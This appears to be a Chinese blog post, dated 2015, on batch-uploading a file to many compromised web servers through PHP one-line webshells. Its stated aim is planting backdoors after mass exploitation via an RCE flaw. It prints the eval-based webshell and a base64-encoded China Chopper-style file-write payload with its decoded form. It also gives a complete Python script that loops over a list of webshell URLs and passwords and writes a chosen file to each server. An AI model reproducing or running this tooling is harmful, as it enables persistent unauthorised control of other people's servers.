PHP实现批量上传单个文件


Posted in PHP onDecember 29, 2015

很多时候当我们通过某个通用型RCE漏洞批量抓取了很多的webshell后,可能想要批量传个后门以备后用。这时,我们不禁会面临一个问题,使用菜刀一个个上传显得太慢,那么如何快速的实现文件的批量上传呢?本文给大家介绍基于php如何实现这类需求。

0×01 原理分析

首先,我们必须了解菜刀是如何通过一句话木马来实现web服务器的文件管理的。

下面是最常见的php一句话木马:

<?php eval($_POST[1]); ?>

当我们将一句话木马上传到web服务器上后,我们就可以直接在菜刀中输入上面的密码(如上例中的1)连接到服务器上来管理文件。

那么,此处的菜刀如何通过简单的一句话就可以实现对服务器的管理和控制呢?通过分析菜刀的原理,我们不难发现菜刀是利用了eval这个函数来执行通过POST方法传过来的命令语句。

因此,如果我们想通过菜刀一句话木马来实现文件上传的话,只需要向远程服务里上包含一句话的url发送一个带文件写入命令的POST请求即可,比如:

POST:

1=@eval($_POST[z0]);&z0=echo $_SERVER['DOCUMENT_ROOT'];

上面代码包含2个部分:

1. 一句话的密码

2. 发送给服务器端的php执行代码

既然知道原理了,我们只需要发送如下的POST请求即可完成利用一句话上传文件的功能:

POST:

1=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9JF9QT1NUWyJ6MSJdOwokYz0kX1BPU1RbInoyIl07CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7&z1=L3Zhci93d3cvcm9vdC8xLnR4dA==&z2=aGVsbG8gd29ybGQh

仔细分析一下这段POST数据包含以下几个部分:

1. 首先是php一句话的密码1

2. 通过eval方法来执行base64解码后的z0,解码整理后显示如下:

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$f=base64_decode($_POST["z1"]);
$c=base64_decode($_POST["z2"]);
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=1)  
  $buf.=substr($c,$i,1);
echo(@fwrite(fopen($f,"w"),$buf));
echo("|<-");
die();

3. 在z0中继续调用base64解码后的z1和z2,解码后如下:

z1=/var/www/root/1.txt
z2=hello world!

至此,我们可以很清楚的发现上面的POST请求的作用实际上是将一个写有hello world!的名为1.txt的文件上传至服务器上/var/www/root/路径下。

0×02 代码实现

基于上面的原理分析,我们可以利用下面的代码基于php一句话来实现文件批量上传:

#!/usr/bin/python 
#coding=utf-8 
import urllib 
import urllib2
import sys
import base64
import re
def post(url, data): 
  req = urllib2.Request(url) 
  data = urllib.urlencode(data)  
  opener = urllib2.build_opener(urllib2.HTTPCookieProcessor()) 
  response = opener.open(req, data) 
  return response.read() 
def get_shell_path(posturl,passwd):
  shell_path = ""
  try:
    data = {}
    data[passwd] = '@eval(base64_decode($_POST[z0]));'
    data['z0']='ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107'
    shell_path = post(posturl, data).strip()
  except Exception:
    pass
  return shell_path
def main():
  print '\n+++++++++Batch Uploading Local File (Only for PHP webshell)++++++++++\n'
  shellfile = sys.argv[1] # 存放webshell路径和密码的文件
  localfile = sys.argv[2] # 本地待上传的文件名
  shell_file = open(shellfile,'rb')
  local_content = str(open(localfile,'rb').read())
  for eachline in shell_file:
    posturl = eachline.split(',')[0].strip()
    passwd = eachline.split(',')[1].strip()
    try:
      reg = ".*/([^/]*\.php?)"
      match_shell_name = re.search(reg,eachline)
      if match_shell_name:
        shell_name=match_shell_name.group(1)
        shell_path = get_shell_path(posturl,passwd).strip()
        target_path = shell_path.split(shell_name)[0]+localfile
        target_path_base64 = base64.b64encode(target_path)
        target_file_url = eachline.split(shell_name)[0]+localfile
        data = {}
        data[passwd] = '@eval(base64_decode($_POST[z0]));'
        data['z0']='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7'
        data['z1']=target_path_base64
        data['z2']=base64.b64encode(local_content)
        response = post(posturl, data)
        if response:
          print '[+] '+target_file_url+', upload succeed!'
        else:
          print '[-] '+target_file_url+', upload failed!'
      else:
        print '[-] '+posturl+', unsupported webshell!'
    except Exception,e:
      print '[-] '+posturl+', connection failed!'
  shell_file.close()
if __name__ == '__main__': 
  main()

webshell.txt的格式: [一句话webshell文件路径],[webshell连接密码]如下:

http://www.example1.com/1.php, 1

http://www.example2.com/1.php, 1

http://www.example3.com/1.php, 1

保存上面脚本为batch_upload_file.py,执行命令python batch_upload_file.py webshell.txt 1.txt,效果显示如下:

PHP实现批量上传单个文件

以上内容给大家介绍了PHP实现批量上传单个文件的相关知识,希望大家喜欢。

PHP 相关文章推荐
消息持续发送的完整例子
Oct 09 PHP
URL Rewrite的设置方法
Jan 02 PHP
不支持fsockopen但支持culr环境下下ucenter与modoer通讯问题
Aug 12 PHP
用PHP实现Ftp用户的在线管理
Feb 16 PHP
解析php中session的实现原理以及大网站应用应注意的问题
Jun 17 PHP
解析php中memcache的应用
Jun 18 PHP
二进制交叉权限微型php类分享
Feb 07 PHP
php实现的支持断点续传的文件下载类
Sep 23 PHP
PHP中使用正则表达式提取中文实现笔记
Jan 20 PHP
php通过baihui网API实现读取word文档并展示
Jun 22 PHP
php自定义函数实现汉字转换utf8编码的方法
Sep 29 PHP
PHP使用curl_multi_select解决curl_multi网页假死问题的方法
Aug 15 PHP
使用phpstorm和xdebug实现远程调试的方法
Dec 29 #PHP
PHP远程调试之XDEBUG
Dec 29 #PHP
从性能方面考虑PHP下载远程文件的3种方法
Dec 29 #PHP
Yii快速入门经典教程
Dec 28 #PHP
WordPress主题制作之模板文件的引入方法
Dec 28 #PHP
WordPress的主题编写中获取头部模板和底部模板
Dec 28 #PHP
YiiFramework入门知识点总结(图文教程)
Dec 28 #PHP
You might like
PHP基于迭代实现文件夹复制、删除、查看大小等操作的方法
2017/08/11 PHP
php获取用户真实IP和防刷机制的实例代码
2018/11/28 PHP
jquery中dom操作和事件的实例学习-表单验证
2011/11/30 Javascript
CSS(js)限制页面显示的文本字符长度
2012/12/27 Javascript
常用js字符串判断方法整理
2013/10/18 Javascript
qq悬浮代码(兼容各个浏览器)
2014/01/29 Javascript
JavaScript异步回调的Promise模式封装实例
2014/06/07 Javascript
js+html5绘制图片到canvas的方法
2015/06/05 Javascript
实例讲解jQuery EasyUI tree中state属性慎用
2016/04/01 Javascript
checkbox批量选中,获取选中项的值的简单实例
2016/06/28 Javascript
jQuery Easyui datagrid editor为combobox时指定数据源实例
2016/12/19 Javascript
Mac下使用charles遇到的问题以及解决办法
2017/01/10 Javascript
在vue项目中引入高德地图及其UI组件的方法
2018/09/04 Javascript
微信小程序实现两个页面传值的方法分析
2018/12/11 Javascript
vue接入腾讯防水墙代码
2019/05/07 Javascript
实现一个 Vue 吸顶锚点组件方法
2019/07/10 Javascript
python虚拟环境 virtualenv的简单使用
2020/01/21 Javascript
Vue组件基础用法详解
2020/02/05 Javascript
在Python中使用base64模块处理字符编码的教程
2015/04/28 Python
python获取指定路径下所有指定后缀文件的方法
2015/05/26 Python
在Python 不同级目录之间模块的调用方法
2019/01/19 Python
Python中的引用知识点总结
2019/05/20 Python
Python 转换RGB颜色值的示例代码
2019/10/13 Python
复化梯形求积分实例——用Python进行数值计算
2019/11/20 Python
使用Python的datetime库处理时间(RPA流程)
2019/11/24 Python
使用python检查yaml配置文件是否符合要求
2020/04/09 Python
实例代码讲解Python 线程池
2020/08/24 Python
艺术用品:Arteza
2018/11/25 全球购物
出国考察邀请函
2014/01/21 职场文书
小学数学国培感言
2014/03/10 职场文书
主持词开场白
2014/03/17 职场文书
会计专业毕业生求职信
2014/07/04 职场文书
员工聘用合同范本
2015/09/21 职场文书
2016年禁毒宣传活动总结
2016/04/05 职场文书
导游词之镜泊湖
2019/12/09 职场文书
Python线程池与GIL全局锁实现抽奖小案例
2022/04/13 Python